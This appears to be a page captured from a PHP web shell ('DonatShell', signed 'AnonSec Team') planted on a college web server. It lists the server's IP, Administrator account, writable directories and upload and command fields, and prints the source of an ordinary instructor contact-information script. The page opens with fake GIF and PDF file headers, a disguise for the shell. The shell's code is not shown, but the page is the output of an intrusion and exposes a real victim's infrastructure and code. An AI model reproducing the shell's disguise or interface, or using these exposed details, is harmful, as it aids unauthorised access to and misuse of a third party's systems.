GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/common/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/common/ContactInformation.phpinc
<?
// common/ContactInformation.phpinc
// Display the Instructor contact information.

$swap = false;		# Waldo For Rocky swap after Spring Break.
//$showAll = false;	# Waldo Show old dates as well.
if ( !isset($showAll) ) $showAll = false;


#d_On();
if (!isset($InstructorInformation)) $InstructorInformation = array();
#d_Var('InstructorInformation',$InstructorInformation,'d+');
if (!isset($OutputContactInformation)) $OutputContactInformation = true;
if (!isset($OutputWheresWaldo)) $OutputWheresWaldo = true;
// Get sessionStart and sessionEnd.
$query = "
    SELECT sessionId,
           YRTR,
           sessionType,
           sessionName,
           sessionDescription,
           sessionStart,
           sessionEnd
      FROM `session`
     WHERE ( sessionStart >= '".query_safe(currentDate())."' && sessionEnd <= '".query_safe(currentDate())."' )
		    OR ( sessionEnd >= '".query_safe(currentDate())."' )
  ORDER BY sessionStart
	LIMIT 1
";
d_Var('sessionResult',$query,'q');
$sessionResult = query_do($query);
d_Var('$sessionResult',$sessionResult,'');
$sessionResultCount = $_SESSION['qry']['count'];
if (!$sessionResultCount) {
  $sessionRow = '';
  require('common/pageHeader.phpinc');
  $f_error = 'Session not found for '.currentDate().'.<span class="d_s_fl"> '.basename(__FILE__).':'.__LINE__.'</span><span class="d_s_fp"> '.basename(__FILE__).':'.__LINE__.'</span>';
  require('common/displayErrorsAndMessages.phpinc');
  require('common/pageFooter.phpinc');
}
mysqli_data_seek($sessionResult, 0);
$sessionRow = mysqli_fetch_assoc($sessionResult);
$sessionStart = $sessionRow['sessionStart'];
$sessionEnd = $sessionRow['sessionEnd'];
d_Var('$sessionStart',$sessionStart);
d_Var('$sessionEnd',$sessionEnd); #44	20195	2	'2019 Spring Semester'	unset	'2019-01-14'	'2019-05-17'
// Calculate $currentWeek.
/** /
$currentDate = time();
$dateSplit = explode("-", $sessionStart); // $dateSplit[0] = Year \, $dateSplit[1] = Month, $dateSplit[2] = Day.
$sessionStartDate = mktime (0, 0, 0, $dateSplit[1], $dateSplit[2], $dateSplit[0]); // Create the timestamp for this date.
/**/
$currentDate = time();
$sessionStartDate = strtotime($sessionStart);
$nrSeconds = max(0,$currentDate - $sessionStartDate); // subtract the previousDate from the currentDate to see how many seconds have passed between these two dates.
#$nrWeeksPassedFraction = ( $nrSeconds / 604800 + 2/7 ); // Divide by number of seconds in a week (60*60*24*7=604800) and add two days so that Saturday/Sunday cause the next week.
#d_Var('$nrWeeksPassedFraction',$nrWeeksPassedFraction);
$nrWeeksPassed = floor( $nrSeconds / 604800 + 2/7 ); // Divide by number of seconds in a week (60*60*24*7=604800) and add two days so that Saturday/Sunday cause the next week.
d_Var('$nrWeeksPassed',$nrWeeksPassed);
$currentWeek = $nrWeeksPassed+1; // Add 1 because the images are numbered 1..n+1 not 0..n.
// Get $sessionWeek.
$sessionWeek = formValue('sessionWeek');

$DEBUG_CI = '';
d_Var('$currentDate',$currentDate,$DEBUG_CI.'');
d_Var('$sessionStartDate',$sessionStartDate,$DEBUG_CI.'');
d_Var('$nrSeconds',$nrSeconds,$DEBUG_CI.'');
d_Var('$nrWeeksPassed',$nrWeeksPassed,$DEBUG_CI.'');
d_Var('$sessionWeek',$sessionWeek,$DEBUG_CI.'');

if ( !$sessionWeek ) {
	$sessionWeek = twoDigit($nrWeeksPassed+1); // Add 1 because the images are numbered 1..n+1 not 0..n.
}
#if ( $_SERVER['REMOTE_ADDR'] == '173.16.60.67' ) printVar('$sessionWeek',$sessionWeek);
// Create $sessionWeeks array.
$sessionWeeks = array();
$sessionNow = $sessionStart;
$thisSessionWeek = 1;
while ( $sessionNow < $sessionEnd ) {
	$sessionWeeks[$thisSessionWeek] = $sessionNow; // Add week to array.
	#if ( $_SERVER['REMOTE_ADDR'] == '173.16.60.67' ) printVar("\$sessionWeeks[$thisSessionWeek]",$sessionNow);
	$thisSessionWeek++;
	$sessionNow = date("Y-m-d",strtotime("+7 day", strtotime($sessionNow))); // Go to next week.
}

require('Schedule/Schedule.phpinc');

$DEBUG_CI = '';
d_Var('CurrentDate()',CurrentDate(),$DEBUG_CI.'');
d_Var('$sessionRow',$sessionRow,$DEBUG_CI.'');
d_Var('$sessionEnd',$sessionEnd,$DEBUG_CI.'');
d_Var('$_SESSION',$_SESSION,$DEBUG_CI.'');
d_Var('$OutputContactInformation',$OutputContactInformation,'');

// Contact Information.
if ( $OutputContactInformation ) {
	#d_Var('InstructorInformation',$InstructorInformation,'d');
	?>
	<fieldset id="ContactInformation"><legend>Contact Information</legend>
	<table>
	<?
	foreach ($InstructorInformation as $label => $value) {
		if ( $label != 'WeeklySchedule' && $label != 'WeeklyCampus' && $label != 'ImageMap' && $label != 'Second half schedule' && $value != '') {
			if ($label == 'Email address') {
				if (isset($_SESSION['userId']) && $_SESSION['userId']) {
					$value .= ' (<a href="mailto:'.$value.'">Send email</a>)';
				} else {
					$value = '<a href="https://cst.ridgewater.edu/login">Login</a> to see the Email address.';
				}
			} 
			if ($label == 'Cell number') {
				if (isset($_SESSION['userId']) && $_SESSION['userId']) {
					// Nothing to do.
				} else {
					$value = '<a href="https://cst.ridgewater.edu/login">Login</a> to see the Cell number.';
				}
			}
			if ( $label != 'Image' ) {
				$label .= ':';
			} else {
				$label = '';
			}
	?>	
			<tr><td class="nowrap right"><?=$label?></td><td><?=$value?></td></tr>
	<?
		}
	}
	?>
	</table>
	</fieldset>
	<?
	// Class schedule image.
	require('common/ClassSchedule.phpinc');

	#d_On();
	// Wheres Waldo.
	/**/
	$OutputWheresWaldo = false;
	if ( $OutputWheresWaldo ) {
		$DEBUG_CI = '';
		d_Var('$sessionWeek',$sessionWeek,$DEBUG_CI.'');
		d_Var('$sessionWeeks',$sessionWeeks,$DEBUG_CI.'');
		d_Var('$SchoolYRTR',$SchoolYRTR,$DEBUG_CI.'');
		d_Var("\$sessionRow['YRTR']",$sessionRow['YRTR'],$DEBUG_CI.'');
		d_Var('$InstructorCalendar',$InstructorCalendar,$DEBUG_CI.'');
		$currentWeek = $sessionWeek + 0;
		?>
		<fieldset id="Waldo"><legend>Where's Waldo - Campus location for <?=$InstructorInformation['Instructor']?></legend>
		<table>
		<?
		if ( !count($InstructorCalendar) ) {
		?>
			<tr><td colspan="2" class="attention center"><?=$InstructorInformation['Instructor']?> did not supply any campus location information.</td></tr>
		<?
		}
		?>
			<tr><td></td><td></td></tr>
			<tr><td colspan="2" class="center"><span class="today">Green</span> is today. <span class="info">Blue</span> is the current week. <span class="warning">Orange</span> is no classes. <span class="error">Red</span> is school closed. <span class="silver">Gray</span> is past.</td></tr>
			<tr><td colspan="2">
			<table class="pad3">
			<tr><th>Week #</th><th>Dates</th>
		<?
		$weekday = "Monday,Tuesday,Wednesday,Thursday,Friday";
		$classRow = '';
		for ( $w=0; $w<=4; $w++ ) {
		?>
			<td></td><th><?=listGetAt($weekday, $w)?></th>		
		<?
		}
		?>
			</tr>
		<?
		#d_Var('$sessionStart',$sessionStart);
		foreach ( $sessionWeeks as $weekNumber => $weekStart ) {
			if ( $showAll || $weekNumber >= $currentWeek) {
				$weekEnd = date("Y-m-d",strtotime("+4 day", strtotime($weekStart))); // Calc end of week.
				$wi = $weekNumber % 2;
				if ( $weekNumber < $currentWeek ) {
					$classRow = 'silver';
					$trClass = ' class="silver right"';
					$tdClass = ' class="silver"';
				} elseif ( $weekNumber == $currentWeek ) {
					$classRow = 'info';
					$trClass = ' class="info right"';
					$tdClass = ' class="info"';
				} else {
					$trClass = ' class="right"';
					$tdClass = '';
				}
				/** /<?=str_replace('/20','',valid_date($weekStart,'USA'))?>-<?=str_replace('/20','',valid_date($weekEnd,'USA'))?>/**/
				$wb = valid_date($weekStart,'USA');
				$wb = substr($wb,0,6).substr($wb,-2);
				$we = valid_date($weekEnd,'USA');
				$we = substr($we,0,6).substr($we,-2);
		?>
				<tr><td<?=$trClass?>><?=$weekNumber?></td><td<?=$tdClass?>><?=$wb?>-<?=$we?></td>
		<?
			$todayDate = date("Y-m-d");
			for ( $d=0; $d<=4; $d++ ) {
				$class = $classRow;
				$currentDate = date("Y-m-d",strtotime($weekStart." +".$d." day"));
				$waldo = '';
				$title = '';
				if ( isset($SchoolCalendar[$currentDate]) ) {
					$waldo = $SchoolCalendar[$currentDate]['Status'];
					$title = $SchoolCalendar[$currentDate]['Note'];
					#$waldos = explode('|',$SchoolCalendar[$currentDate]);
					#if ( !isset($waldos[1]) || trim($waldos[1]) == '' ) {
					#	$title = '';
					#} else {
					#	$title = trim($waldos[1]);
					#}
					#$waldo = trim($waldos[0]);
					switch ( $waldo ) {
						case '':
							$class = $classRow;
							break;
						case 'No classes':
							if ( $class != 'silver') $class = 'warning';
							break;
						case 'School closed':
							if ( $class != 'silver') $class = 'error';
							break;
						default:
							break;
					}
				}
				if ( $waldo == '' ) {
					if ( isset($InstructorCalendar[$currentDate]) ) {
						$waldo = $InstructorCalendar[$currentDate]['Location'];
						$title = $InstructorCalendar[$currentDate]['Note'];
						#$waldos = explode('|',$InstructorCalendar[$currentDate]);
						#if ( !isset($waldos[1]) || trim($waldos[1]) == '' ) {
						#	$title = '';
						#} else {
						#	$title = trim($waldos[1]);
						#}
						#$waldo = trim($waldos[0]);
						switch ( $waldo ) {
							case '':
								$class = $classRow;
								break;
							case 'No classes':
								if ( $class != 'silver') $class = 'warning';
								break;
							case 'School closed':
								if ( $class != 'silver') $class = 'error';
								break;
							default:
								break;
						}
					}
				}
				if ( $todayDate == $currentDate ) { $class .= ' today'; $class = str_replace('info','',$class); }
				$title = htmlView(trim($title));
				if ( $title != '' ) { $title = ' title="'.$title.'"'; $class .= ' underline'; }
				$class = trim($class);
				if ( $class != '' )  $class = ' class="'.trim($class).'"';
		?>
				<td style="color:#999999;"><?=substr($currentDate,5)?></td><td<?=$class?><?=$title?>><?=$waldo?></td>
		<?
			}
			$classRow = '';
		?>
				</tr>
		<?
			}
		}
		?>
			</table>
		</td></tr></table>
		</fieldset>
		<?
	}
	/**/
}
?>

Anon7 - 2022
AnonSec Team